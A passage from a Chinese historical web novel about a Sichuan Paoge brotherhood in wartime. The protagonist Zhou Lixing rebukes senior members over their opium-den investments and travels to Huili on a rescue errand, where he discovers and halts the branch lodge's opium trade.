等紫苏吃了些东西垫好肚子,周立行才告诉她,“给你宝片那个老头子,江湖外号叫黑老鸹,已经过世了。”
紫苏怔愣,“那我……”
“你先说你想要什么,若是办得到,我可以替黑老鸹完成这件事。”
黑老鸹关于抗日的遗愿,方结义已经去办了,这件小事,周立行想自己来。
并且,这一次,他想试试堂口,他再出去一次,堂口又会如何?
陈三爷和邢五爷对视一眼,两人都从对方的眼神里看到了震惊和不解。
这周立行不应该留在堂口,趁着此番立威,把大家看得严严实实吗?
怎么又要出去?
紫苏再次跪了下去,“我早就和那张富商失散了,我也不知道他在哪里。我想回会理,把我的两个孩子带出来。”
“会理?”
周立行想起了三刀凉,那个直爽凶悍的大姐,他示意谷娃子去扶紫苏,平静回答道:
“我们在会理确实有个分堂,我可以无偿带你去会理没,但能不能救出两个孩子,我不保证。你现在看样子身无分文,没有钱,请不出堂口的其他兄弟为你做事。”
紫苏抹着眼泪点头,她站起来后解释道,“我在会理老宅藏得有金银,到了会理,不出意外是有钱付报酬的。若是我孩子不在了,我……”
“去了再说。”周立行打断了紫苏。
“谷娃子,你带紫苏姐去我家吧。约下堂口的医生上门,再请瑞鹤姐也来一趟,先给紫苏治治伤病。”
紫苏十分聪慧,他看出周立行不想让她在这里多待,便向堂口其他人都道了谢。她走路有些蹒跚,谷娃子赶紧地扶着她一起离开。
陈三爷知道周立行有话要说,挥手让其他人都出去。房间里,只剩下了陈三爷、邢五爷和周立行三人,没隔几息,姜九爷、车十爷和代六爷唐浩子也进来了。
这下,堂口的三、五、六、八、九、十的领头人都齐了。
周立行知道,这是大家趁有台阶,一起来把之前的事情说开。
他本是想再迟一些,等他思考得再清楚一些,再来堂口的。
然而今日来都来了,肯定只能跟大家好好谈一谈。
周立行没吭声,大家你看我,我看你,都不愿意先开口。
陈三爷跟姜九爷对了下视线,姜九爷先开了话头,话题却有些偏:
“小八爷,之前跟光耀堂合作那事儿,本是你从滇西回来,我们就要告诉你的。没想到你回来就急匆匆地去看那王喜雀,又跟着王喜雀去了重庆……”
邢五爷眉头一皱,打断姜九爷的话,“姜九,你到底想说什么?”
姜九却不惧怕邢五,继续说道,“实话说,当时我晓得你在重庆那边的码头自爆身份,差点以为你是跟王喜雀私奔被发现了呢!”
“你回来之后,也没说来跟三爷和我们商量商量,若你不愿意,我们内部先统一了意见,也是可以去退股的。”
周立行见姜九爷来势汹汹,并不感觉生气,这姜九爷摆明了就是被退出来当黑脸的,“然后呢?”
“大家都有做的不地道的地方,这事儿,咱们就过去了,谁也别提了。”姜九爷颇喝了口茶,瞟了眼陈三爷,没再多说。
周立行点点头,看向姜九爷,“我送王喜雀去做什么,你们肯定都打听清楚了。我哪里做的不地道?”
姜九爷眼睛咕噜一转,许多话在喉咙中压着,却不能明说。确实,明面上,周立行没有任何地方不地道,他送王喜雀去寻人,王喜雀寻到了木茶商,是跟着木茶商回来的。
他们都感觉有猫腻,可没有实证;周立行说他们违令,却是有实实在在的证据。
“那你是什么意思?这事儿还不过去?还要追究?”姜九爷索性不要脸,开始胡搅蛮缠。
“股已经退了,人你也全都接回你的院子了,你还想干什么?”
“难道还要让抽大烟的兄弟伙们戒烟?让喜欢逛窑子的兄弟伙们禁闝?”
“国军的军纪写的那么多,他们怎么又要倒卖大烟!吃喝嫖赌!”
姜九爷越说越激动,甚至拍起了桌子,“那你不如自己去投共算了!!!”
周立行安静地看着姜九爷一个人表演,他端着茶,轻轻地吹,小口地喝,等姜九爷表演完了,环视一圈在场的人。
大家表情各不相同,陈三爷在等,邢五爷为难,唐浩子左看右看一脸吃瓜,车儿十爷完全在状况外。
周立行跟冯争鸣相处了这么久,可太知道怎么戳这些暴脾气的人死穴了,他用最平静的语气,轻飘飘地回答姜九爷:
“要真跟你说的那样,哪天共军打来了,我肯定投共的。”
“你!……”姜九爷嗖地站起来
“够了!有事说事!扯尼玛的八丈远!再扯批扯调的,老子要毛了!”
邢五爷生气了,一巴掌拍在桌子上,声音比姜九爷大多了。
姜九爷憋着气,邢五爷怒视他,陈三爷摇摇头,姜九爷忍了没再开腔。
“行善,还在生气啊?”邢五爷试探着问,他现在也猜不到周立行到底是越平静越生气呢,还是暴躁起来才算生气。
周立行对邢五爷的观感十分复杂,他后来猜得到,应该是邢五爷出门前就派人去求助,才能让林参谋来的如此及时。
若是只有八十八军的李参谋来,未必能袒护他周立行。
可邢五爷本人抽大烟,按谷娃子的说法,邢五爷当初对忠义堂入股烟馆的事情,没有表明任何态度,他邢五没有表明态度,连带着唐浩子也没反对。
“没生气。”
周立行还是得给邢五爷面子,他平静地回答,“你们也没怕我生气。”
陈三爷嗨呀一声,拍着自己的胸口哀叹道:
“小八爷啊,我陈三爷给你认个错行不!是我被钱迷了心窍,就想着多点渠道多挣钱,是我贪心,要不你打我红棍吧……”
周立行静静地看着陈三爷,好了,唱红脸卖可怜的来了。
实话说,他还真的想打陈三爷的红棍!打得他屁股开花那种!
代舵把子才干多久啊,就开始试探底线了……
陈三爷不是靠打架杀人升的排位,他见周立行绿幽幽地盯着自己,浑身的汗毛都竖起来了,立即开始解释:
“行善,我也是没办法啊!方大爷走的撇脱,我们留下来的人可难哦!没钱寸步难行啊!”
“你看,几千号人出去了,这些人的军饷要我们自己筹,武器我们自己买,堂口十几年的积蓄一下就干干净净。”
“这些人走了,活没得人干就算了,他们的家属还得每季都发救济粮啊!各个分堂要供兄弟们吃饭,钱不够就得问总堂要;兄弟们家里婚丧嫁娶,堂口给不给办礼?和其他堂口,政府部门,要不要引来送往,相互打点?大爷带出去的人被小日本打死了,我们也还的准备一笔丧葬费呢……”
“这样样事情,都要钱,我也是心里为大家着急,为了大家的利益……其实你看,什么来钱最快?除了抢,就是鸦片,这四川那个军阀不贩鸦片?”
陈三爷说的唾沫横飞,越说越觉得自己用心良苦,本是没有错的。
邢五爷连忙开始大声咳嗽,打断陈三爷的话,“行善,当初做这个决定去入股,我们大家都有错。”
车十爷终于能插上话了,他赶紧跟着表态,“就算我们出发点是好的,可也确实违了方舵把子的令,是我们没对,我们都反省。”
唐浩子全程都在看大家,这个时候只管点头。他其实一开始是反对的,但陈三爷说能给大家多分钱,他又犹豫了。此刻大家被周立行一招石破天惊的玉石俱焚给吓住,他其实内心是轻松了不少的。
周立行攥着椅子的手缓缓松开,“陈三爷,邢五爷,姜九爷,车十爷,滇缅公路通了。”
陈三爷清了清嗓子,摸了摸鼻子,“是,是啊……”
“那条路上进来的,都是紧缺货,稀罕货。”
“咱们堂口搭上的这条路,随便漏下的点滴油水,都比大烟挣的多。”
周立行毫不客气地点穿,“你们,当真以为我不懂挣钱吗?”
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邢五爷老脸一红,陈三爷圆脸一白,姜九爷驴脸一青,这三个四五十岁的老男人,内心最隐秘的一点被戳破了。
“我当初跟着公路局去跑川滇线的货运,之后又跟着陆军独立工兵团交通部直属施工队修路,我会对走私的生意,一点都不懂吗?”
周立行把话摊开了。
“你们虽然口口声声喊我小八爷,可我确实进堂口时间短,又是承了黑老鸹的福荫,受了方大哥的提拔,所以……在各位爷心里,我只是小,并当不得八爷。”
“若不是这次,我亮了脾气,甚至开了生死场,你们甚至从未真正意义把我当一回事。”
“你们怕的,是方舵把子,不是我周行善。”
邢五爷将那眼睛一闭,恨不得原地消失;陈三爷脸上一阵红一阵白,当真是受不住这愣头青的直白;姜九爷倒是想跳起来跟周立行对骂一通,又怕周立行记仇之后暗地里收拾他,只能用冷笑显示自己的不屑。
“行善,我和三爷确实有当老辈子的资格,我们也确实是有把你当晚辈在照看……”
邢五爷觉得不能再让周立行这么直白下去了,他撇开姜九,接过话题,“我们和方舵把子,也不是怕不怕的关系,我们曾经一起经历过的风雨,不亚于你跟冯争鸣打生死场。”
这话说的太有水平,周立行和冯争鸣是个什么关系,看来邢五心里有竖。
君子和而不同,有争执但并不会背叛。
周立行点头,“这个,我是信的,五爷,我知道。”
陈三爷听了周立行这话,脸色缓和些了,“行善,我知道,从你的角度看来,我们这次入股的事儿办的不地道,但你不能怀疑我们的用心。”
周立行再次点头,“三爷,我没怀疑过你们的用心,你们确实只是想多挣钱,大伙儿也都只是想多分钱。谁会不喜欢钱呢?”
陈三爷跟着点头,“就是啊……”
“可是,莲妹儿呢?”周立行看着陈三爷。
“那可是我们堂口的街坊邻居啊,在我们忠义堂还是个小堂口的时候,莲妹儿的父母就来咱们茶馆喝茶帮工过吧?你们看着莲妹儿从小孩子长到现在吧?她有没有喊过你们叔叔伯伯?”
“石娃子谷娃子愿意拿钱去赎人,为什么大家不帮忙呢?”
“你们当着觉得,自己一点错都没有?”
陈三爷张了张嘴,所有的辩解都卡在了喉咙里,他目光游移,看向邢五爷。
他想说冯显贵不乐意,他把冯显贵没办法,他还想说冯显贵说从不逼迫那些女招待,都是女招待们自己想多赚钱才主动去陪烟客的……
可他在周立行澄澈且失望的眼神下,哑口无言。
邢五爷叹口气,把个黑脸扭到了一边,他是真没想到,周立行这么能说,一句话就掐住了大家的七寸。
这事确实是冯显贵太不地道,陈三也是个没本事的!而他邢五,也是有错……他被送来的大烟钱财迷住了眼……
姜九爷倒是想回嘴,车十爷眼疾手快,直接给他捂住了。
虽然车十爷不会说话,但他感觉得出来,姜九爷说的肯定不是好话,要是说出来,指不定今天大家都谈崩了。
一直闷不吭声的唐浩子终于说话了,“行善,是我的错。我代管六排,巡风护律,扶危济困,是我没做好,你罚我吧。”
周立行轻轻地笑了下,“那你自己领罚吧。”
有人背锅,周立行还能说什么呢?
他们已然是一伙的,自己倒像是个外人了。
唐浩子愧疚地向周立行抱拳,他抽出匕首一刀插进自己的肩膀,咬紧牙关。
周立行不为所动,“代六爷,别急着抽,我还有话说。”
匕首一抽,血流出来就得赶紧包扎,他的话就说不完了。
唐浩子无奈,只能让那匕首插在肩膀上。
“年岁上来说,你们是长辈;堂口里排位,我们算平辈。今日我话说的直,你们也不要怪我,毕竟我年纪小阅历少,却又有必须说清楚的职责。”
周立行也是懂示弱的,他并不只会一味硬扛。
“黑老鸹说咱们忠义堂是浑水袍哥起家的,当年干土匪的时候,都不会欺压穷苦人家,不会打劫同乡亲友。各位老辈子,你们一路走来,你们更懂。”
“三爷,五爷,今日我就问一问,若是方大哥真的战死沙场了,咱们忠义堂,以后还是忠义堂吗?”
周立行问完这句,便不再说话了,他等着眼前二人的回答。
他看得出来,姜九是听三爷的,车十是听五爷的;唐浩子原本应是和自己站一条线,但唐浩子已经给了自己一刀。
陈三爷心中一片烦乱,邢五爷也是脑瓜子嗡嗡的,他们俩难得地不知道该怎么回答。
若是随口敷衍几句,那他们倒是可以千句八百地说。可明显的,周立行不是能敷衍过去的,说不定还会把他刺激到。
可要认真的说,陈三爷却不敢了,若是方结义真的回不来了,他……他也不敢保证自己是否能一直守着方结义定的规矩。
若他陈三爷当了龙头老大,他也会有自己的想法,多年的乱世已经塑造了他的想法,他确实就是追求生存和利益大于其他。
邢五爷长吁短叹,他是没有什么当老大的心肠的,他年岁越发大了,只想有个儿子养老送终。他想积德,可这德也得有命有钱才能积啊。
“方舵把子还活着一天,我们就守着他的规矩一天。”
最终,还是邢五爷开了口。
“他若是真的为国捐躯了,我们不管做什么选择,都会把把后事办好,把堂口兄弟们安顿好。”
“剩下的我们走一步,看一步,要得不?”
陈三爷心中百般念头转换,听到邢五的话,觉得这确实是最好的选择。他跟着长叹一口气,沉重地点着头:
“是的,行善,来日方长,我们先看眼下吧,这日寇来势汹汹,说不定我们到时候都拿着枪去守城了,什么堂口不堂口的,谁知道能不能长久……”
周立行站起来,向在座诸位行了个抱拳礼。
“那我接下来去会理一趟,归期不定。堂口的事情,再次拜托给诸位了。”
去会理,一是完成黑老鸹的遗愿,二是他周立行得退一步。
俗话说,断人财路如杀人父母,他时刻看着他们,只会让他们感受到威胁,反而容易为了利益拧成一股绳。
他不后悔去了一趟滇西,但因为他走出去了,堂口里的局势变了,比如唐浩子的沉默,可以看出来很多东西。
他一直记得方大哥的交代,或许,他确实应该给自己谋一条后路。
陈三爷抹了一把脸,周立行退了一步,他也安心,可他不能让周立行这么走,会显得像是他逼走对方的。
“去吧,我让人把总堂的令牌给你,盘缠任你取。那边最近确实出了些事情,齐高杰死了……你去看看也好,从堂里挑几个好手跟过去,那边乱的很。”
“你的伤还未彻底好玩,不要舟车劳顿,那个紫苏也是只剩一口气,你们都先养养身体,迟些出发。去了也不急着回,慢慢地处理好事情。”
邢五爷嘱咐着,他真的是服了周立行的行动力,生怕他明天一早就出发。
“这回真的放心,我们不会再乱搞了,真有什么事情,也等你回来商议好再干。”
陈三爷补充道,他也是怕了周立行的一根筋。
有陈三爷这样的承诺,周立行站起来,向两位长辈再行了个礼,转身离去。
56.会理
周立行并没有急着离开成都,他有许多的事情要做。
首先是那些烟馆女招待,大多数都染上了性/病,要医治得用西药,贵得很。好在周立行从云南带回来的好东西不少,换的钱全交给了罗瑞鹤,通过她以及冯争鸣的途径,搞到了盘尼西林等西药,把女孩子们都治好了。
莲妹儿的父母得知情况,上门来接女儿回去,莲妹儿却拒绝了。
她没法恨父母,也心疼要死的小弟弟。她被逼无奈去那烟馆,她没办法——可如果是她病的要死了,父母会把弟娃放到那种地方去染烟瘾当娈童来救她吗?
很多事情,看清了,想通了,就算不恨不怨,也回不到从前。
莲妹儿现在很平静,但莲妹儿觉得自己跟死过一回没区别了,她已经还了父母的生养恩,她不想回去了。
谷娃子一直撺掇石娃子去求婚,石娃子却没那个胆子说出口。
石娃子只敢用各种方式对莲妹儿好,给她买好吃的,给她买新衣服。
一开始莲妹儿不要,石娃子就怯生生地把东西分给同住在周立行院子里的其他女孩子,那些女孩子也不好意思要,石娃子就坐在门槛上哭,哭到大家收下为止。
那些女孩子们从一开始的紧张,到后来都打趣石娃子是个闷得儿,再到后来,大家都羡慕起莲妹儿来。
周立行没管这些人,他每日都出门,挨个儿去探访了一遍方结义的子女。
那些成家了的大体过的都不错,方结义给孩子们都置得有一些家产,踏踏实实过日子是没问题的。那些孩子们虽然不是一个妈,平日里大家都喜欢相互走动,有什么事情甚至还能相互给个照应。
当日没走的那几个嫂子,依旧住在方结义当初置办的院子里。她们轮流带着年纪较小的孩子,共同经营着几间化妆品铺子,相互把对方当亲人一般地过着。堂口这边还是照应着她们,时不时要派人去帮忙守守铺子,震慑一些不怀好意的鲁莽蠢货。
周立行拎着礼物挨个儿地看过去,确认她们他们都过得还好,才放下了心。
等周立行的伤好的基本妥帖,那些女孩子们也彻底痊愈,周立行终于踏上了去会理的路程。
这次出来,周立行没有带其他人,堂口里,他只挑了石娃子和谷娃子,再加上一直跟着他的阿涅,和要一路回会理的紫苏。
莲妹儿等女孩子们最终都选择了跟周立行去新地方重新生活,周立行便带她们先去了乐山。
从重庆回来的木铜铃已经带着婆娘去找了刘五嬢,王喜雀和刘五嬢早就一起在五通桥那边办了一家不大不小的纺织厂和一家绣坊,生意做的还可以。现在是五嬢的女儿刘愿安在管理那些产业。
于是周立行和五嬢约在了乐山相见。
又是一年多未见,刘五嬢的白发不可遏制地增多,但她的精神头依旧很好,秋寒露重,她依旧穿着单衣,身子骨一看便好得很。
刘五嬢进了旅馆房间,见到周立行的第一面,便给周立行行了个江湖大礼,吓得周立行赶紧跳到一边。
“五嬢,你这是搞啥子……”周立行自觉自己是晚辈,晚辈哪能受老辈子的礼。
“感谢你多次救了愿平,若不是你,愿平早就成了一堆黄泥白骨,我们母子哪还能相聚。”刘五嬢感激不尽。
“受人之托,忠人之事。”周立行摇头,“我也没有做好,愿平兄的腿……”
“垮山掉石,岂是你能阻拦的。你也被埋过,能挣条命回来,够好了。”
刘五嬢年轻的时候也是打打杀杀出来的,对生死看得开,自有一番见解,她是个知恩图报的人。
“你有需要我五嬢的地方,只管吩咐。”
周立行便把那一群女孩子托付给了刘五嬢,请刘五嬢收下她们当纺织厂女工,给她们开工资,安置吃住的地方。
他身上还带着王喜雀在重庆那边置换的钱财,也一并交给了五嬢,拜托五嬢好好打理,将喜雀姐的后路给谋划好。
离开的时候,石娃子哭得眼睛都肿了,各种舍不得莲妹儿。
这段时间,石娃子全身心地跟着罗瑞鹤打杂,买药熬药,洗衣做饭,勤快又贤惠,天天巴巴着给这群小姐妹们做事,搞得这群小姐妹都倒戈帮石娃子说话了。
莲妹儿本就从小和石娃子一起长大,这一回被救,她也是知道都是石娃子谷娃子不放弃的结果,只是她心里暂时没过那道坎,所以一直没有给石娃子回应。
实在看不下去的谷娃子暴锤了石娃子一顿,怒斥他:“你又不是不回来了!大小事你是分不清了是吧!”
周立行看得好笑,莲妹儿见周立行笑,脸腾地红了,终于开了口:
“你陪小八爷去办好事,等办完事回来了,我这边也安顿好了,你再来找我。”
石娃子平时看起来笨,这种时候倒是聪明的很,马上不哭了,抓着莲妹儿的手拼命点头,“好!放心!我会去挣够彩礼的!我以后的钱都给你管!”
她羞红了脸,顺手给了石娃子一耳光,转身跑了。
石娃子脸上的巴掌印鲜红鲜红,人却乐得不知东南西北,咧着个大嘴嘿嘿地笑,“谷哥,莲妹儿摸我脸呢……”
谷娃子捂着脸不忍看,只期望以后自己的婆娘手劲不要那么大。
*
从乐山出发,走金口河过去,一路走过美姑、昭觉、西昌、德昌、米易,便到达了会理。
这一路,也是周立行当初跟着邢五爷走过的道路。
上一次跟着邢五爷出来巡堂的时候,周立行还是个看哪里都新鲜的少年,此时再到会理,周立行已经没了当初的那份激情,紫苏也是一路沉默,反倒是谷娃子、石娃子和阿涅两人看什么都新鲜。
谷娃子石娃子主要是看各种货品,阿涅则是一直在观察这边倮倮族的服饰装扮以及口音。
滇西的倮倮族和凉山的倮倮族虽算的上同源,但语言和习俗差异较大,阿涅一路上都在听,但只能连蒙带猜,听得懂个六七成,还不如用西南官话交流来的顺畅。
一行人骑着骡子,慢悠悠地进了会理城,找到挂着忠义堂牌子的茶馆。
茶馆生意尚可,周立行等人报了身份、交了宝片,立即被热情地迎到后院。
分堂的代堂主梁承禄很快从外面赶了回来,此人长得颇为健壮,但个子偏矮,站着跟紫苏不相上下,眼睛不大精光四射,面貌看起来颇有几分市侩。
周立行垂着眼喝茶,想起来当初的齐高杰,那个肿着半张脸跟阿凉吵架的男人,竟然已经不在了。
“八爷远道而来,咱们分堂蓬荜生辉啊!”
梁承禄是本地分堂的人,上回是见过周立行的,这一见面就叫得出周立行是八爷,显然是已经知道总堂发生了什么事情。
毕竟周立行是拖了一个多月才出发的,这边有了消息,也正常。
周立行心中有了几分计较,他再看眼前这个梁承禄,便觉得对方有些紧绷和戒备。他坐了上座,简单地同梁承禄寒暄起来。
“梁主事,三刀凉呢?”
“三刀凉去接一批货回来,算日子,应该还要过几日才能回。”
周立行点头,话锋一转,“我大哥方结义带团出川后,我便去了滇西那边,前不久才回来。之前齐高杰齐堂主……”
梁承禄伤感地回答,“四个月前,张主事去接货的时候,糟了埋伏,被土匪给毛了。”
说到这里,梁承禄显得有些犹豫,似是有些事情不太好说,“齐堂主毕竟是外地人,对当地的风土人情了解不够……”
周立行垂眸喝着茶,不接话。
梁承禄只得接着讲下去,“八爷,我是会理本地人,曾经是个镖师,走镖到成都的时候惹了事,差点被砍手,当初也是受过方大爷的恩惠的。”
“会理这边建分堂,我是第一个主动加入,齐堂主对我也是照顾有加,甚至提拔我当了副堂主。我们这小堂口,虽然设了八排,但发展了一年也才三四十号骨干,其他的都是贴着家人来堂口混口饭吃的老弱妇孺,只得暂时设置了三位副堂主,分别管生意往来、账目后勤、纪纲刑罚。”
“当初您和五爷来巡堂立威,才给咱们分堂树了威信。可这威信,仅限于会理城内。城外,别人只认实力。”
“齐堂主跟着当地的习俗,要认干亲。可是……也怪咱们没把情报打探清楚,齐堂主干亲认的又点多,其中有一支,跟他之前认的是冤家。”
“干亲?冤家?”周立行知道什么是干亲,但对冤家不是很了解。
“夷汉接壤地或杂居区,双人族人因商贸等互有往来,为了大家都能做生意赚钱,会建立互保关系。”
梁承禄一边说着,一边看向周立行身后默不作声的阿涅,“八爷,你身后的那位小兄弟,看起来像是夷族的,他是你的……?”
周立行转头和阿涅对视一眼,阿涅咧嘴一笑,“他是我拜把子的哥。”
周立行点头,“这是我在滇西认的干弟弟,是罗倮族。”
“这也算是干亲的一种。”
“夷族孩子认汉族老人为干父母,取汉族名字;汉族孩子认夷族老人为干父母,取夷族名字,夷汉的孩子们就成了兄弟姐妹。平日里,干亲家要相互来往;过年过节,干儿女要去给干爹干娘拜年。”<
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“这个关系建立,双方都要相互保护对方在自己辖区的安全,汉区的人害了夷人,汉区这边要负责惩罚汉人,同理,夷区也一样,这样双方才能好好做生意。”
“冤家,是夷人们不同家支之间起了矛盾,相互掠夺烧杀,有些甚至成了世代冤家,便是在汉人地界,听说对方家支姓氏,都会抽刀互砍。”
梁承德大致做完了解释,话题回到了齐高杰的死亡上。
“干亲里有两方打冤家,都叫齐堂主去帮忙。齐堂主出于好心,想去劝……结果被双方都当成了叛徒……”
嗨袍哥,生死是稀松平常的事情,周立行听说过太多的意外死亡。
别说这种卷入争斗的,就平常送个货,失足摔下山崖、被毒物咬伤、一场急冻等,都会被收割性命。
这事是意外,还是疏忽,抑或是有什么问题,周立行现在都无法做出判断。他听完梁承禄的讲述,回应道:
“我来的时候,三爷已经得知齐高杰身亡的事情,他的家眷都在成都,总堂已经做好了安置。”
“我此番前来,是接了委托,替紫大姐来寻亲救人的。”
听周立行这么说,梁承禄大松一口气。
听闻总堂来了纪纲八爷的时候,他是真的紧张了,生怕总堂是专门派人来查。虽然他也不怕被查,可总归是不被怀疑的好嘛。
他当即拍着胸脯道,“行善兄弟放心,咱们分堂一定鼎力相助。”
“那先麻烦你们查一下这个人。”周立行递过一张纸,上面写着紫苏口述的信息。
梁承禄结果纸打开,到抽一口凉气,“这家人可不好惹!”
能让一个当分堂管事的本地人说不好惹的家族,必定有人有钱有枪。
周立行没有打算硬扛地头蛇,“无碍,我们不打算跟他们产生正面冲突。”
梁承禄思虑再三,起一杯茶,慢慢给周立行讲起来。
会理县城自古以来有军民守备或卫所,一直接受中原政权的统治,县城内的各大家族来源于历朝历代的官军,各项行事规则与外地差异不大。
县城及四周大部分平坦区域由民国政府统治,中间地段则是汉族和夷族混居之地。县城之外,多崇山峻岭,道路崎岖,土壤贫瘠,土司家族的势力根深蒂固。
再山区走,便会进入凉山区,那是一片属于夷族各家支的区域,是汉人的禁区。
凉山区颇为神秘,非夷族人不得进,和外界沟通交流甚少,据说广袤大山之中,种植着许多罂粟花。每年到了九月十月左右,大量鸦片会被运输出来,西昌、会理这些地方,都是鸦片转运销售的地方。
凉山区内的家支们也并非铁板一块,他们也常年在争斗,“打冤家”的时候少则数十人械斗,多则几千人带枪火拼,战斗规模大的时候,也会有一些家支会到汉区求助“干亲家”,届时混战一团,死人无数。
“张家人和土司家人已经有了好几代的干亲,生意做的广,山珍皮毛盐铁什么都干,现如今做的最大的是烟土生意。土司是夷人,几乎垄断了凉山夷区在会理的各类生意,我们堂口想要在会理做烟土生意,张家人最好不要得罪。”
梁承禄说得苦口婆心,生怕周立行只管完成委托,做事不计后果。
真要惹出什么大麻烦,周立行可以一拍屁股走人,张家追不到成都去报复,可要收拾他们分堂这些人,那堪称瓮中捉鳖。
周立行听明白了梁承禄的意思,这个人从一开始的鼎力协助,到不好惹,到最好不要得罪,墙头草的风范已经展现无遗。
并且……会理分堂,竟然已经开始做烟土买卖了?总堂那边怎么没说?
齐高杰是忠义堂的老人,上次巡堂的时候也没见齐高杰抽鸦片……
周立行心中有了一些猜测,他决定一件事一件事的干,先把紫苏的问题解决了,再把说这个烟土的事情。
轻重缓急,眼下和未来,他分得清,他时间多得很,也不急着回总堂,他有的是精力和办法。
“张家这个老七,据我们得到的消息,他回不来了。”
周立行随意地说道,他也不算胡说,按紫苏那个描述,就算没死也沦落敌占区,回得来个鬼。
“梁堂主,劳烦你们打听下张老七那些小老婆生的孩子们是怎么照管的便行。我们带的这个阿姐,好不容易回来,只是想确认她的孩子们是否还活着。放心,我们不得罪人。”
才怪,他是一定要完成紫苏的心愿的。
虽然梁承禄是根墙头草,但不代表他愚笨,周立行这般说,他自然是要答应的,“哎,这个简单,我去打听!”
57.会理
因此地习俗缘故,阿涅被默认成周立行的干亲,分堂的人对阿涅的关照更多,谷娃子和石娃子两人被分去了一个房间,阿涅则是跟着周立行住了一间。
在成都休养了一段时间,紫苏的身体比逃难的时候好了些,但身体的耗损并不是一时半会儿能补起来的,尤其是她原本有烟瘾,这一路的逃亡她活生生的把烟瘾也给戒了,更是伤了根本。
她一直撑着一口气想要回会理救出自己的孩子,这一路上默不吭声地坚持,结果到了会理,当夜又发起了高烧。
第二日,梁承禄请来中医大夫。
老大夫给紫苏一把脉,便是摇了十几下头。
“耗损太过,气血亏空,这位阿姐活不长咯。”
这话,成都那边的大夫也说过,紫苏是知晓自己情况的。
她轻声问大夫,“好好养的话,我还能活多久?”
“你现在的情况,如同满是裂缝的瓷瓶,再怎么灌水,也是要漏的。只能说过得了今冬的话,也许还能活到明年。明冬还能不能捱过去,就看天意咯!”
老大夫也不说假话,回答了紫苏的问题。
“先扎针吧,之后好好吃药,不要见风受凉,虚不受补,莫要吃油腻荤腥,多休息,看能不能扛过去吧。”
紫苏点头,看了周立行一眼,又收回了视线。
老大夫开了方子,又交代了许多注意事项,周立行让石娃子跟去医馆拿药回来煎,然后派谷娃子去跟梁承禄盘一盘分堂这些年的账务开销,毕竟代表总堂来了一趟,也不能什么事都不做,起码他的知道自己能动用多少钱。
周立行已经决定要拿总堂八爷的架子,用这分堂的钱办事了!
等他们二人走之后,阿涅自觉地出去守门,周立行等紫苏开口。
紫苏还发着烧,人病恹恹的,但眼神十分的亮,她轻声说道,“我在张家祠堂外面的石榴树和水井中间的石板下面,埋了两个罐子,罐子里是我以前偷藏起来的金银。”
“行善兄弟,无论此行的结果是什么,我都认命。孩子们要是不在了,我便也不用活了。若是孩子们还活着,我能求你,再给我们指一条生路吗?”
这段时日紫苏看得出来,周立行是个面冷心软的人,一路上他虽然不说,却始终照顾着她。
周立行看着紫苏那求生欲极强的双眼,莫名又想起了王喜雀。
她们都是那么坚韧的人,不管遇到什么样的磨难,都努力地想要呵护自己爱着的人。
紫苏为了孩子,能忍着烟瘾和屈辱逃亡成功。
喜雀姐为了不连累青竹叶和其他人,还是走向了她最厌恶的木老板的身边。
“紫苏姐,如果孩子们还活着,我一定会救他们出来,然后送你们去一个有人照管的地方。”
周立行给出他能给出的最大承诺。
紫苏点着头,她道了声谢,终是支撑不住,躺倒回去。
喝了三天的药,紫苏终于是退了烧。那大夫又来看了一圈,拈着花白的胡须说挺过来了,再留了一副养身安神的方子。
周立行他随手翻着账本,看着一开始以茶叶、生茧、皮毛、肉干、药材、盐铁等多项物品为主的货品,逐渐变成烟土为主,心中也是莫名悲凉。
他记得黑老鸹说过,清廷晚期,诸国列强打进来,让中华大地种上了鸦片,辛亥革命后的民国政府多次提出禁烟令,然而军阀割据,并不是那么听号令,为了军费更是扩张烟土种植。
到如今,几番禁种下来,反倒是山野之地种了更多的烟苗。
烟苗多,除了买卖便是食用。民间的药物少,这能镇痛的大烟,倒是成了万金油一般的存在,以至于有烟瘾的人越来越多。
而他在账本的支出里,看到了“买青苗”,稍一问,竟是预付的鸦片定金。再仔细一看,嚯哟,还是和德兴堂一起干的!
在夷汉之间,因鸦片生意出现了商业信用,一些内地商人由当地头人介绍,包下种烟者一定面积的鸦片青苗,经过估产,予付一半的价款,待鸦片成熟,最后成交结算,称之为“买青苗”。
这个梁承禄到真的是专心专意的在经营分堂,生怕自己买不到烟土去专卖挣钱,提前预定的招都使出来了。
这些事,总堂会毫不知情吗?是单会理的分堂在干这个,还是外面的分堂都明里暗里的脱离掌控?
上梁不正下梁歪,总堂只需开一点点口子,下面的分堂就能扯出十万八千里的漏洞。
查完账本,周立行正式地找梁承禄开谈。
“梁堂主,我来会理分堂之前,在成都打了一场生死场,你知道吗?”周立行相信梁承禄肯定是知道的。
梁承禄早已经做好了准备,一手挠头,破为难地回答,“八爷,我们知道的。忠义堂三不沾,总堂已经抄写布告发往各分堂再次强调。你来之前,我们就收到了。”
周立行点头,“既如此,那鸦片生意,就停了吧。”
然而梁承禄却回答,“八爷,你说要查账,我便把这账本奉上来,没有做过任何改动,你一眼就能看到我们现在主要经营的是个啥。”
“现在往总堂上交的钱财,堂里养家糊口的报酬,都是靠这个烟土生意撑着。我们撒出去预定的烟苗费用,也是一大笔……咱们要停,也不能一刀子砍下去停,还是要从长计议呐。”
周立行抬眼,眼神冷了些许,“怎么个从长计议法?”
“已经定出去的烟苗,还是得卖了回本……这已经快过年了,明年一年的收益还是稳住,这一年我们再想办法从其他生意上多挣点,把路子铺好。”
梁承禄仔细地盘算着,“毕竟现在不同往日,外面打着仗,从云南那边出去到印度那边的生意也不好做,很多东西都不好卖,挣不着钱啊。”
“咱们堂口不挣钱,近的说德兴堂,远的还有各处山寨路棚,兄弟们就会拖家带口往别的地方跑。咱们人少了,就会跟之前一样被欺负……八爷,会理已经是这样了,一半以上的人口都吸大烟,咱们不做这个,最终可能会经营不下去……”
梁承禄试图劝说周立行。
周立行却直截了当地一锤定音,“一年,可以。我留在这里一年,看着你们把大烟的生意全部停完。”
“……”梁承禄傻眼。
“若是真的不做烟土生意,就开不起堂口,到时候我来做主,关堂!我会负责把你们都安顿好,愿意跟我回成都的,也可以去成都或者其他分堂发展。”
周立行善解人意地拍了拍梁承禄的肩膀,“有我在,你放心,开堂口要考虑很多,关堂口就简单了。”
以前方大哥的忠义堂没沾烟土一样能发展,现在一个个的搞得好像只有烟土才能挣钱养堂口一般,简直荒谬。
梁承禄干笑着喝茶,找个借口告辞,阿涅蹦蹦跳跳地进来。
这几天阿涅在县城里到处玩,听了许多本地故事。
此刻看到周立行眯着眼睛发呆,他凑过头去,嘀嘀咕咕地讲起话来。
“这里的烟馆比茶馆多!”
